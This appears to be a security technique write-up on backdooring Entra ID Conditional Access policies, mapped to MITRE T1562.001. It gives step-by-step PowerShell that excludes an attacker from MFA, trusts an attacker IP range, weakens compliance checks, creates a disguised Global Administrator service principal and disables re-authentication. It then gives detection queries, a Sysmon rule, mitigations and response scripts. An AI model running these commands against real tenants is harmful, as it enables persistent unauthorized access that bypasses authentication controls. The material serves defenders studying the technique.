| Attribute | Details |
|---|---|
| Technique ID | PERSIST-IMPAIR-001 |
| MITRE ATT&CK v18.1 | T1562.001 – Impair Defenses: Disable or Modify Tools |
| Alternate MITRE | T1556.009 – Modify Authentication Process: Conditional Access Policies |
| Tactic | Defense Evasion / Persistence |
| Platforms | Entra ID (Azure AD); M365 (all services dependent on Conditional Access) |
| Severity | CRITICAL |
| Technique Status | ACTIVE |
| Last Verified | 2025-01-09 |
| Affected Versions | All Entra ID / Azure AD (no version constraint; policy-based) |
| Patched In | N/A (not a code vulnerability; requires administrative policy review) |
| Author | SERVTEP – Artur Pchelnikau |
Concept: Conditional Access Policy (CAP) backdoors are a persistence and defense evasion technique where an attacker with Conditional Access Administrator or Global Administrator privileges modifies authentication policies to create permanent exceptions for compromised accounts. An attacker can: (1) exclude their own account from MFA requirements, (2) add attacker-controlled IP addresses to trusted location lists, (3) remove device compliance requirements, (4) create service principal exceptions with overly permissive scopes, or (5) modify sign-in frequency to extend session lifetime indefinitely. These modifications allow the attacker to maintain persistent access to the tenant even if the original password is changed, MFA devices are revoked, or devices are marked non-compliant. The technique is particularly dangerous because Conditional Access policies are a foundational element of zero-trust security; modifying them is analogous to disabling a firewall’s core rules.
Attack Surface: Entra ID Conditional Access policy configuration engine, accessible to accounts with Conditional Access Administrator, Security Administrator, or Global Administrator roles; group membership configurations used in policy exclusions; named location IP range definitions.
Business Impact: Complete Authentication System Bypass. Once an attacker creates CAP backdoors, they can access any M365 resource (Teams, SharePoint, Exchange, OneDrive, Azure management plane) without triggering MFA challenges, device compliance checks, or sign-in frequency limits. An attacker can access sensitive resources during off-hours, from suspicious locations, or using legacy protocols—all without detection. The attacker maintains persistent access even if their password is reset, their MFA phone is revoked, or their device is wiped. Organizations have reported attackers maintaining access for 6+ months via modified CAPs without triggering alerts.
Technical Context: CAP modification occurs instantly; no logging bypass or obfuscation required. Changes are auditable (Audit Logs record “Update Conditional Access policy” events), but many organizations lack alerting on such changes. Detection requires active monitoring of policy modification events and baseline understanding of policy configuration.
| Framework | Control / ID | Description |
|---|---|---|
| CIS Benchmark | CIS 1.1 | Ensure multifactor authentication is enabled for all Azure users with administrative roles |
| CIS Benchmark | CIS 1.7 | Ensure Conditional Access policy blocks legacy authentication |
| CISA SCuBA | Identity 2.1 | Ensure Conditional Access policies require MFA for all users |
| NIST 800-53 | AC-3 | Access Enforcement (policy-based access control) |
| NIST 800-53 | IA-2 | Authentication (MFA enforcement via policy) |
| GDPR | Art. 32 | Security of Processing (maintaining authentication controls) |
| NIS2 | Art. 21 | Cyber Risk Management (incident detection via policy audit) |
| ISO 27001 | A.6.1.2 | Information Security Policies (access control policy maintenance) |
| ISO 27005 | Risk Scenario | Bypass of authentication controls; unauthorized administrative access |
Supported Versions:
Tools (Optional):
Supported Versions: Entra ID all versions
Objective: Find existing MFA enforcement policy to modify.
Command (PowerShell):
# Connect to Entra ID
Connect-MgGraph -Scopes "Policy.Read.All"
# Retrieve all Conditional Access policies
$policies = Get-MgIdentityConditionalAccessPolicy
# Find policy requiring MFA
$mfaPolicies = $policies | Where-Object {
$_.GrantControls.BuiltInControls -contains "mfa"
}
# List policies
$mfaPolicies | Select-Object DisplayName, Id, State | Format-Table
Expected Output:
DisplayName Id State
----------- -- -----
Require MFA for all users abc123def456-1234-5678-... enabledForReportingButNotEnforced
Block Legacy Authentication ghi789jkl012-9876-5432-... enabled
Require MFA for high-risk sign-ins mno345pqr678-2468-1357-... enabled
What This Means:
OpSec & Evasion:
Objective: Exclude attacker’s account from MFA requirement.
Command (PowerShell):
# Method 1: Modify policy to directly exclude user
$policyId = "abc123def456-1234-5678-..." # From Step 1
$policyName = "Require MFA for all users"
# Get current policy details
$policy = Get-MgIdentityConditionalAccessPolicy -ConditionalAccessPolicyId $policyId
# Add attacker user to exclusion list
$attackerObjectId = "user-object-id-of-attacker@contoso.com"
$currentExclusions = @($policy.Conditions.Users.ExcludeUsers)
$currentExclusions += $attackerObjectId
# Update policy
$params = @{
Conditions = @{
Users = @{
IncludeUsers = $policy.Conditions.Users.IncludeUsers
ExcludeUsers = $currentExclusions
}
}
}
Update-MgIdentityConditionalAccessPolicy -ConditionalAccessPolicyId $policyId -BodyParameter $params
Expected Output:
(Successful; policy updated)
What This Means:
OpSec & Evasion:
Command (From Attacker Machine):
# Attempt sign-in with excluded account (should NOT require MFA)
Connect-MgGraph -UserScope -ClientId "04b07795-8ddb-461a-bbee-02f9e1bf7b46" # Microsoft Graph PowerShell app ID
# When prompted, sign in with attacker account
# If successful without MFA prompt, exclusion is confirmed
Expected Output (If MFA Bypassed):
Welcome! Account sis successfully authenticated
Expected Output (If MFA Still Required):
Additional verification required. Please provide MFA credential.
What This Means:
OpSec & Evasion:
Supported Versions: Entra ID all versions
Objective: Add attacker’s IP address to “trusted locations” list.
Command (PowerShell):
# Connect to Entra ID
Connect-MgGraph -Scopes "Policy.ReadWrite.ConditionalAccess"
# List existing named locations
$locations = Get-MgIdentityConditionalAccessNamedLocation
$locations | Select-Object DisplayName, Id | Format-Table
# Create new named location with attacker IP
$params = @{
DisplayName = "Office Network Extensions"
IpRanges = @(
@{
CidrAddress = "203.0.113.0/24" # Attacker's IP block
}
)
IsTrusted = $true
}
$newLocation = New-MgIdentityConditionalAccessNamedLocation -BodyParameter $params
Expected Output:
Id : named-location-uuid-12345
DisplayName : Office Network Extensions
IsTrusted : True
IpRanges : @{CidrAddress=203.0.113.0/24}
What This Means:
OpSec & Evasion:
Objective: Adjust existing policies to exempt the attacker’s IP from MFA requirements.
Command:
# Find policy that blocks based on untrusted location
$policies = Get-MgIdentityConditionalAccessPolicy
$locationBasedPolicy = $policies | Where-Object {
$_.Conditions.Locations.IncludeLocations -contains "AllUntrustedLocations" `
-or $_.Conditions.Locations.ExcludeLocations.Count -gt 0
}
# If policy found, you can now access from attacker IP without MFA
# (Policy already treats attacker IP as trusted)
Write-Host "Location-based policies updated. Attacker IP now treated as trusted location."
What This Means:
OpSec & Evasion:
Supported Versions: Entra ID all versions; particularly effective with legacy authentication protocols
Objective: Find policy requiring device compliance.
Command:
# Find policies requiring compliant devices
$compliancePolicies = Get-MgIdentityConditionalAccessPolicy | Where-Object {
$_.GrantControls.BuiltInControls -contains "compliantDevice" `
-or $_.GrantControls.BuiltInControls -contains "domainJoinedDevice"
}
$compliancePolicies | Select-Object DisplayName, Id | Format-Table
Expected Output:
DisplayName Id
----------- --
Require compliant device uuid-abc123
Block non-compliant access uuid-def456
Objective: Create exception allowing attacker to use legacy protocols (IMAP, SMTP, POP3, BASIC auth) without device compliance.
Command:
# Get existing policy
$policyId = "uuid-abc123"
$policy = Get-MgIdentityConditionalAccessPolicy -ConditionalAccessPolicyId $policyId
# Add exclusion for legacy protocols
# This allows attackers to use Outlook IMAP/SMTP without device compliance
$params = @{
Conditions = @{
ClientAppTypes = @(
"exchangeActiveSync" # Mobile sync (less monitored)
# Exclude this; attacker can now use legacy
)
}
}
Update-MgIdentityConditionalAccessPolicy -ConditionalAccessPolicyId $policyId -BodyParameter $params
What This Means:
OpSec & Evasion:
Supported Versions: Entra ID all versions
Objective: Create service principal with M365 admin permissions.
Command:
# Create service principal (app registration)
$app = New-MgApplication -DisplayName "Microsoft System Management" # Innocuous name
$servicePrincipal = New-MgServicePrincipal -AppId $app.AppId
Write-Host "Service Principal ID: $($servicePrincipal.Id)"
What This Means:
OpSec & Evasion:
Objective: Assign highest-privilege role to rogue service principal.
Command:
# Get Global Admin role definition
$globalAdminRole = Get-MgDirectoryRoleTemplate | Where-Object {
$_.DisplayName -eq "Global Administrator"
}
# Activate role if not already active
$role = New-MgDirectoryRole -RoleTemplateId $globalAdminRole.Id
# Assign service principal to Global Admin role
New-MgDirectoryRoleMember -DirectoryRoleId $role.Id `
-DirectoryObjectId $servicePrincipal.Id
Write-Host "Service Principal now has Global Admin privileges"
What This Means:
OpSec & Evasion:
Supported Versions: Entra ID all versions
Objective: Extend session lifetime so attacker can access without re-authentication.
Command:
# Find policy enforcing sign-in frequency
$frequencyPolicy = Get-MgIdentityConditionalAccessPolicy | Where-Object {
$_.SessionControls.SignInFrequency -ne $null
}
$policyId = $frequencyPolicy.Id
# Get current policy details
$policy = Get-MgIdentityConditionalAccessPolicy -ConditionalAccessPolicyId $policyId
# Modify to remove sign-in frequency requirement (infinite session)
$params = @{
SessionControls = @{
SignInFrequency = @{
IsEnabled = $false # Disable re-auth requirement
}
PersistentBrowserSession = @{
IsEnabled = $true # Allow persistent browser session (never expires)
}
}
}
Update-MgIdentityConditionalAccessPolicy -ConditionalAccessPolicyId $policyId -BodyParameter $params
Expected Output:
(Policy updated; sign-in frequency disabled)
What This Means:
OpSec & Evasion:
Connect-MgGraph -TenantId "contoso.com" -ClientId "04b07795-8ddb-461a-bbee-02f9e1bf7b46"
# If MFA NOT prompted: exclusion working
Version: 2.0+ (latest) Minimum Version: 1.0 Supported Platforms: Windows PowerShell 5.1+, PowerShell 7+
Installation:
Install-Module Microsoft.Graph -Force -Scope CurrentUser
Import-Module Microsoft.Graph.Identity.DirectoryManagement
Import-Module Microsoft.Graph.Identity.SignIns
Key Cmdlets for CAP Manipulation:
Get-MgIdentityConditionalAccessPolicy # List all CAPs
New-MgIdentityConditionalAccessPolicy # Create CAP
Update-MgIdentityConditionalAccessPolicy # Modify CAP
Remove-MgIdentityConditionalAccessPolicy # Delete CAP
Get-MgIdentityConditionalAccessNamedLocation # List trusted locations
Rule Configuration:
SPL Query:
index=azure OperationName="Update Conditional Access policy" OR OperationName="Create Conditional Access policy"
| search TargetResources="*ExcludeUsers*" OR TargetResources="*GrantControls*"
| eval ModifiedBy = InitiatedBy.user.userPrincipalName
| stats count by ModifiedBy, OperationName, TargetResources._displayName
| where count >= 1
What This Detects:
Rule Configuration:
SPL Query:
index=azure (OperationName="Add service principal" OR OperationName="Add service principal credentials")
| search NOT InitiatedBy.user.userPrincipalName="*@microsoft.com"
| stats count by InitiatedBy.user.userPrincipalName, OperationName
| where count >= 1
What This Detects:
Rule Configuration:
KQL Query:
AuditLogs
| where OperationName contains "Conditional Access" and OperationName contains "Update"
| where tostring(TargetResources[0].modifiedProperties) contains "ExcludeUsers"
| extend ModifiedBy = InitiatedBy.user.userPrincipalName
| extend PolicyName = tostring(TargetResources[0].displayName)
| project TimeGenerated, ModifiedBy, OperationName, PolicyName, TargetResources
| summarize PolicyChanges = count() by ModifiedBy, PolicyName
What This Detects:
Rule Configuration:
KQL Query:
AuditLogs
| where OperationName contains "Add service principal" or OperationName contains "Assign role"
| where TargetResources[0].displayName contains "Global Administrator"
or TargetResources[0].displayName contains "Security Administrator"
| where not(InitiatedBy.user.userPrincipalName contains "@microsoft.com")
| project TimeGenerated, InitiatedBy.user.userPrincipalName, TargetResources
What This Detects:
Note: Most Conditional Access logging occurs in Entra ID audit logs (cloud-based), not Windows Event Log. However, sign-in activity can be monitored locally if Entra Connect is deployed.
Event ID: 4672 (Special privileges assigned to new logon)
Note: Sysmon is Windows-focused; Conditional Access modifications occur in cloud (Entra ID) and are not detectable via Sysmon. However, service principal creation attempts via PowerShell are detectable.
Minimum Sysmon Version: 13.0+ Supported Platforms: Windows (PowerShell execution monitoring)
Sysmon Config Snippet:
<!-- Detect PowerShell execution of Entra ID/Graph module commands -->
<RuleGroup name="Entra_Backdoor_Creation" groupRelation="or">
<ProcessCreate onmatch="include">
<Image condition="is">C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe</Image>
<CommandLine condition="contains any">
Update-MgIdentityConditionalAccessPolicy
New-MgIdentityConditionalAccessPolicy
New-MgServicePrincipal
New-MgApplication
New-MgDirectoryRoleMember
Add-MgDirectoryRoleMember
</CommandLine>
</ProcessCreate>
<!-- Detect PowerShell module import for Entra ID management -->
<ProcessCreate onmatch="include">
<Image condition="is">C:\Program Files\PowerShell\7\pwsh.exe</Image>
<CommandLine condition="contains">
Import-Module
Microsoft.Graph
</CommandLine>
</ProcessCreate>
</RuleGroup>
Implement Conditional Access Policy to Protect Conditional Access Policy Modifications:
Applies To Versions: Entra ID all versions (Premium P1/P2)
Manual Steps (Azure Portal):
Protect Conditional Access Admin ActivityEffect: Any attempt to modify CAPs requires MFA and fresh authentication; prevents attacker from modifying policies remotely.
Restrict Conditional Access Administrator Role Membership (Use PIM):
Manual Steps (Privileged Identity Management):
Effect: Role must be activated via PIM with MFA and approval; attacker cannot use dormant role without approval.
Enable Audit Alerting on Conditional Access Modifications:
Manual Steps (Microsoft Sentinel):
Alert on Conditional Access Policy ModificationsAuditLogs
| where OperationName contains "Update Conditional Access" or OperationName contains "Create Conditional Access"
| project TimeGenerated, InitiatedBy.user.userPrincipalName, OperationName
Effect: Every CAP change triggers immediate alert to SOC.
Disable Legacy Authentication (Block Protocol-Based Bypass):
Manual Steps (PowerShell):
# Create policy blocking legacy authentication
$params = @{
DisplayName = "Block Legacy Authentication"
State = "enabled"
Conditions = @{
ClientAppTypes = @(
"exchangeActiveSync"
"otherClients"
)
}
GrantControls = @{
Operator = "OR"
BuiltInControls = @("block")
}
}
New-MgIdentityConditionalAccessPolicy -BodyParameter $params
Effect: Attackers cannot use IMAP/SMTP/POP3 to bypass CAPs; modern authentication required.
Require Multifactor Authentication for ALL Administrative Roles:
Manual Steps:
Regularly Audit Service Principal Assignments:
Command (Monthly):
# List all service principals with admin roles
$adminRoles = Get-MgDirectoryRole | Where-Object {$_.DisplayName -like "*Admin*"}
foreach ($role in $adminRoles) {
$members = Get-MgDirectoryRoleMember -DirectoryRoleId $role.Id
$members | Where-Object {$_.OdataType -eq "#microsoft.graph.servicePrincipal"} | Select-Object DisplayName, Id
}
# If any unexpected service principals: Remove immediately
Monitor Group Membership for CAP Exclusion Groups:
Command:
# Find groups used in CAP exclusions
$caGroups = Get-MgIdentityConditionalAccessPolicy | ForEach-Object {
$_.Conditions.Users.ExcludeGroups
}
# Monitor membership changes
foreach ($groupId in $caGroups) {
Get-MgGroupMember -GroupId $groupId | Select-Object Id, DisplayName
}
# Alert if unexpected members added
# Check if Conditional Access Admin role is protected via PIM
Get-MgIdentityConditionalAccessPolicy | Where-Object {$_.DisplayName -like "*Protect*"} | Select-Object DisplayName, State
# Expected Output: Policy exists with State="enabled"
# Verify legacy authentication is blocked
Get-MgIdentityConditionalAccessPolicy | Where-Object {$_.DisplayName -like "*Legacy*"}
# Expected Output: Policy blocking legacy auth exists
# Check Conditional Access Admin role membership (should be empty or minimal)
Get-MgDirectoryRole | Where-Object {$_.DisplayName -eq "Conditional Access Administrator"} | Get-MgDirectoryRoleMember
# Expected Output: Only 1-2 accounts (critical admins); no service principals
Immediate Containment (First 15 minutes):
Command:
# Disable attacker account immediately
Update-MgUser -UserId "attacker@contoso.com" -AccountEnabled $false
# Revoke all active sessions
Revoke-MgUserSignInSession -UserId "attacker@contoso.com"
# Force MFA re-registration (invalidate all MFA devices)
Update-MgUser -UserId "attacker@contoso.com" -StrongAuthenticationRequirements @()
Identify Compromised CAP Backdoors:
Command:
# List all CAPs created/modified in last 7 days
Get-MgIdentityConditionalAccessPolicy | ForEach-Object {
if ($_.CreatedDateTime -gt (Get-Date).AddDays(-7)) {
Write-Host "Policy: $($_.DisplayName), Created: $($_.CreatedDateTime)"
Write-Host "Excluded Users: $($_.Conditions.Users.ExcludeUsers)"
Write-Host "Trusted IPs: $($_.Conditions.Locations.IncludeLocations)"
}
}
Revert Malicious Policy Changes:
Command:
# Restore policy to baseline/known-good state
$policyId = "policy-uuid-of-backdoor"
# Remove attacker from exclusion list
$policy = Get-MgIdentityConditionalAccessPolicy -ConditionalAccessPolicyId $policyId
$policy.Conditions.Users.ExcludeUsers = $policy.Conditions.Users.ExcludeUsers | Where-Object {$_ -ne "attacker-object-id"}
Update-MgIdentityConditionalAccessPolicy -ConditionalAccessPolicyId $policyId -BodyParameter $policy
Delete Rogue Service Principals:
Command:
# Identify and delete rogue service principal
$rogueSP = Get-MgServicePrincipal -Filter "displayName eq 'Microsoft System Management'"
Remove-MgServicePrincipal -ServicePrincipalId $rogueSP.Id
Threat Hunt for Lateral Movement:
Command:
# Check sign-in logs for attacker activity after CAP modification
Get-MgAuditLogSignIn -Filter "userPrincipalName eq 'attacker@contoso.com'" -All |
Where-Object {$_.createdDateTime -gt (Get-Date).AddDays(-7)} |
Select-Object userPrincipalName, createdDateTime, ipAddress, appDisplayName |
Export-Csv -Path "C:\Investigation\attacker-signins.csv"
| Step | Phase | Technique | Description |
|---|---|---|---|
| 1 | Initial Access | [T1566.002] Phishing: Spearphishing Link | Attacker compromises identity with compromised password |
| 2 | Privilege Escalation | [T1110] Brute Force / Password Spray | Attacker compromises admin account via spray |
| 3 | Persistence | [PERSIST-IMPAIR-001] CAP Backdoor | Attacker modifies Conditional Access policy to create permanent access |
| 4 | Defense Evasion | [T1562.001] Disable MFA / CAP Enforcement | Attacker bypasses authentication controls |
| 5 | Credential Access | [T1087] Identity Account Enumeration | Attacker identifies other admin accounts |
| 6 | Lateral Movement | [T1548] Privilege Escalation via Service Principal | Attacker creates rogue SP with admin role |
| 7 | Impact | [T1537] Data Transfer to Cloud Account | Attacker exfiltrates organization data via compromised admin access |